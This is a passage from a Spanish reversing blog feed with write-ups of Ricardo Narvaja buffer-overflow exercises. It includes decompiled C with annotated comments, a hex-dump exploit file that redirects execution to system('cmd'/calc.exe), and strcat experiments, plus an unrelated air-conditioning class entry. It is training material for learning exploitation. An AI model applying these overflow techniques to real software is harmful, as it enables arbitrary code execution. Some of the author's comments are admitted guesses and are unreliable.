</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( argc <span style="color:#f92672">==</span> <span style="color:#ae81ff">2</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Transforma a entero el 2do argumento
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// v12 tiene que valer 31 entonces.
</span></span></span><span style="display:flex;"><span> v12 <span style="color:#f92672">=</span> <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Acá suma el puntero a system con v12, no necesitamos v12 sólo queremos el puntero a system.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// v13 = system + 49
</span></span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> system <span style="color:#f92672">+</span> v12;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check</span>(Destination, v13);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">imprimir</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Buffer[30] = Destination[254]
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">imprimir</span>(<span style="color:#f92672">&</span>Buffer[<span style="color:#ae81ff">30</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="con-este-código-me-dí-cuenta-que-tenía-que-pasarle-49-como-argumento">Con este código me dí cuenta que tenía que pasarle 49 como argumento:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>argv[]){
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// a = 61
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 1 = 31
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"atoi(%s): %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,argv[<span style="color:#ae81ff">1</span>],<span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">1</span>]));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span> (<span style="color:#e6db74">"argc: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,argc);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> a <span style="color:#f92672">=</span> <span style="color:#e6db74">'a'</span> <span style="color:#f92672">-</span> <span style="color:#e6db74">'1'</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"a = 61, 1 = 31</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"'%c'-'1'+atoi(%s): %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,<span style="color:#e6db74">'a'</span>,argv[<span style="color:#ae81ff">1</span>],a);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="exploit">Exploit</h4>
<pre tabindex="0"><code>00000000: 5151 5151 5151 5151 5151 5151 5151 5151 QQQQQQQQQQQQQQQQ
00000010: 5100 5151 5151 5151 5151 5151 5151 636d Q.QQQQQQQQQQQQcm
00000020: 64 d
</code></pre><p>Es muy parecido al otro sólo que verifica la cantidad de argumentos y tiene un puntero a system que le resta ‘1’ en char y tenés que sumarle 49 para recuperar la dirección del puntero a system.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 7) - Manómetro. Definiciones.
https://imlauera.github.io/post/7ma_clase_aire/
Sat, 24 Aug 2024 12:43:32 -0300
https://imlauera.github.io/post/7ma_clase_aire/
<h4 id="audio-de-la-clase">Audio de la clase</h4>
<p><a href="https://youtu.be/IdGYfIYYQ_E">https://youtu.be/IdGYfIYYQ_E</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=IdGYfIYYQ_E">https://redirect.invidious.io/watch?v=IdGYfIYYQ_E</a></p>
<h4 id="continua-el-dictado">Continua el Dictado…</h4>
<p>Todos los manómetros de presión tienen un elemento que cambia alguna propiedad cuando son sometidos a la presión.
Este cambio se manifiesta en una escala o pantalla equilibrada directamente en los unidades de presión correspondiente.<br>
La aguja nos mide la presión en el interior del circuito, los manómetros suelen tener 2 escalas, una que marca por ejemplo bares, y otro los PSI (libra-fuerza/pulgada cuadrada).</p>
-
Ricardo Narvaja Reversing: Buffer overflow examen 9
https://imlauera.github.io/post/buffer_overflow_9/
Sat, 24 Aug 2024 05:09:01 -0300
https://imlauera.github.io/post/buffer_overflow_9/
<h3 id="este-reto-usa-vfprintf">Este reto usa vfprintf</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdarg.h> </span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h> </span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">vout</span>(FILE <span style="color:#f92672">*</span>stream, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>fmt, ...);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> fmt1 [] <span style="color:#f92672">=</span> <span style="color:#e6db74">"%s %s %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>stream;
</span></span><span style="display:flex;"><span> stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"myfile.dat"</span>, <span style="color:#e6db74">"w"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vout</span>(stream, fmt1, <span style="color:#e6db74">"Sat"</span>, <span style="color:#e6db74">"Sun"</span>, <span style="color:#e6db74">"Mon"</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">vout</span>(FILE <span style="color:#f92672">*</span>stream, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>fmt, ...)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> va_list arg_ptr;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(arg_ptr, fmt);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfprintf</span>(stream, fmt, arg_ptr);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_end</span>(arg_ptr);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>printf que me decompilo el ida:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">printf</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+14h] [ebp+Ch] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401000</span>();
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">1u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">vfprintf</span>(v1, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="esto-me-generó-el-ida-con-algunos-retoques">Esto me generó el IDA con algunos retoques:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Overfloodea cuando cargo el caracter 169
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">this_106</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>this)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> this[<span style="color:#ae81ff">106</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"A ejecutar la calculadora de nuevo...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// De acá tenés que saltar a Destination[4] == 'Q'
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> this;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">check_0</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination, <span style="color:#66d9ef">int</span> a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Concatena(une) la cadena Destination con la posición 106 de la cadena destination
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Estas siguientes expresiones son equivalentes.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// *(Destination+100) = Destination[100]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// NO está concatenandolo con Destination+106, lo está concatenando con sólo un byte
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// strcat espera un puntero como 1er y 2do argumento, acá le pasan es una posición del buffer, o sea le estás pasando la posición de memoria de donde querés que lea, podemos apuntar Destination[106] a cualquier lado
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(Destination, Destination[<span style="color:#ae81ff">106</span>]); <span style="color:#75715e">// Supuestamente le agrega 1 byte que es el byte modificado por la función this_106, en realidad esto rompe todo. Todo lo que está abajo no se ejecutará.
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Compara si el valor del tamaño del buffer Destination vale 56 bytes.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// Este if nunca será verdadero porque no existe el caracter nulo porque strcat lo eliminó, por lo tanto tenemos que pisar el return address y saltar a if Destination[4] == 'Q'
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// ME EQUIVOQUÉ SI ES VERDADERO AUNQUE ES RARISIMO PORQUE this[106] sólo debería permitirme cargar 1 byte y en Linux con gcc todo lo que está debajo del strcat no se ejecuta.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">strlen</span>(Destination) <span style="color:#f92672">==</span> <span style="color:#ae81ff">56</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'I'</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Si lo es llama a printf e imprime la cadena a partir de la posición 254 para adelante.
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>) <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esto
</span></span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">52</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// es lo mismo que :
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Lo mismo con los demás, sólo imprime texto.
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'P'</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>) <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">53</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'Q'</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// a2 = system. system(Destination+254) acá llama a system y pasa como argumento cualquier cosa que hay después de Destination+254. Entonces tenemos que pisar esa dirección con "calc.exe"
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">54</span>) <span style="color:#f92672">=</span> a2;
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// a2 es un puntero a system
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Tenemos que hacer una llamada como:
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// system("calc.exe");
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esto
</span></span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">54</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Es lo mismo que
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Destination + 254 = hace referencia al buffer, si miramos en el ida en la pila del stack, para llegar al buffer necesitamos 25 bytes más es decir: Destination+225 = buffer, lo podemos comprobar mirando la pila de la variable botón derecho array y dándole 224 bytes hasta que el buffer queda abajo. Destination[225] = Buffer[0]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 54-25 = 29 entonces Destination[254] = Buffer[29] entonces buffer[29] = "calc.exe"
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Destination[<span style="color:#ae81ff">4</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">'R'</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">55</span>) <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> (<span style="color:#f92672">*</span>(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">55</span>))(Destination <span style="color:#f92672">+</span> <span style="color:#ae81ff">254</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">check</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Destination, <span style="color:#66d9ef">int</span> a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// v7 pasa a ser a2 en esta función
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// a2 es un puntero a system, ¿como hacemos para que se ejecute la calculadora?
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check_0</span>(Destination, a2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>Destination[<span style="color:#ae81ff">56</span>]; <span style="color:#75715e">// [esp+0h] [ebp-1B0h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+E0h] [ebp-D0h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>v6; <span style="color:#75715e">// [esp+1A8h] [ebp-8h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v7; <span style="color:#75715e">// [esp+1ACh] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">this_106</span>(Destination);
</span></span><span style="display:flex;"><span> Destination[<span style="color:#ae81ff">52</span>] <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(v6);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> printf;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Buffer, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(Buffer));
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(Destination, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">200u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Empieza a leer el contenido del archivo y lo carga a partir de la posición 51
</span></span></span><span style="display:flex;"><span> Destination[<span style="color:#ae81ff">51</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"example.txt"</span>, <span style="color:#e6db74">"rb"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Destination[<span style="color:#ae81ff">51</span>] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> (Destination[<span style="color:#ae81ff">52</span>])(<span style="color:#e6db74">"No se puede leer el archivo bye bye </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// De destination lo carga a buffer
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fread</span>(Buffer, <span style="color:#ae81ff">200u</span>, <span style="color:#ae81ff">1u</span>, Destination[<span style="color:#ae81ff">51</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// y de buffer a destination otra vez.
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, Buffer);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Verifica si la posición 0 del buffer vale 0, es decir hay que desbordarla para pisar esa parte.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">SLOBYTE</span>(Destination[<span style="color:#ae81ff">0</span>]) <span style="color:#f92672">==</span> <span style="color:#e6db74">'0'</span> )
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> system;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">check</span>(Destination, v7);
</span></span><span style="display:flex;"><span> (Destination[<span style="color:#ae81ff">52</span>])(<span style="color:#f92672">&</span>Buffer[<span style="color:#ae81ff">30</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="pequeño-estudio-de-lo-que-pasa-cuando-usamos-strcat-con-una-posición-de-un-buffer">Pequeño estudio de lo que pasa cuando usamos strcat con una posición de un buffer</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> prueba[<span style="color:#ae81ff">6</span>] <span style="color:#f92672">=</span> {<span style="color:#e6db74">'h'</span>,<span style="color:#e6db74">'o'</span>,<span style="color:#e6db74">'l'</span>,<span style="color:#e6db74">'a'</span>,<span style="color:#e6db74">'\0'</span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(prueba,prueba[<span style="color:#ae81ff">3</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Lo que hará será transformar 'a' a hexadecimal que es 61. Entonces va a puntar a 0x61 va a concatenar prueba con lo que sea que está en la posición de memoria 0x61 (o sea nada).
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"prueba: %x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,prueba);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="otro-pequeño-estudio-de-strcat">Otro pequeño estudio de strcat</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> prueba[<span style="color:#ae81ff">7</span>] <span style="color:#f92672">=</span> {<span style="color:#e6db74">'h'</span>,<span style="color:#e6db74">'o'</span>,<span style="color:#e6db74">'l'</span>,<span style="color:#e6db74">'a'</span>,<span style="color:#e6db74">' '</span>,<span style="color:#e6db74">'\0'</span>};
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Estas expresiones son equivalentes
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> asdf[] <span style="color:#f92672">=</span> <span style="color:#e6db74">"mundo</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> asdf1[<span style="color:#ae81ff">7</span>] <span style="color:#f92672">=</span> {<span style="color:#e6db74">'m'</span>,<span style="color:#e6db74">'u'</span>,<span style="color:#e6db74">'n'</span>,<span style="color:#e6db74">'d'</span>,<span style="color:#e6db74">'o'</span>,<span style="color:#e6db74">'\n'</span>,<span style="color:#e6db74">'\0'</span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// strcat borra el caracter nulo del 1er argumento, entonces cuando vos concatenás con un caracter estás borrando el caracter nulo del primer argumento y lo dejás sin fin de cadena, eso hace que el strlen no funcione porque no encuentra el fin de cadena.
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcat</span>(prueba,asdf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Lo que hará será transformar 'a' a hexadecimal que es 61. Entonces va a puntar a 0x61 va a concatenar prueba con lo que sea que está en la posición de memoria 0x61 (o sea nada).
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"prueba: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,prueba);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="implementación-de-strcat-en-c">Implementación de strcat en C</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">strcat</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>dest, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>src)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> i,j;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; dest[i] <span style="color:#f92672">!=</span> <span style="color:#e6db74">'\0'</span>; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span> ;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; src[j] <span style="color:#f92672">!=</span> <span style="color:#e6db74">'\0'</span>; j<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span> dest[i<span style="color:#f92672">+</span>j] <span style="color:#f92672">=</span> src[j];
</span></span><span style="display:flex;"><span> dest[i<span style="color:#f92672">+</span>j] <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dest;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="implementación-de-strlen-en-c">Implementación de strlen en C</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">size_t</span> <span style="color:#a6e22e">custom_strlen</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span><span style="color:#f92672">*</span> str) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> len <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
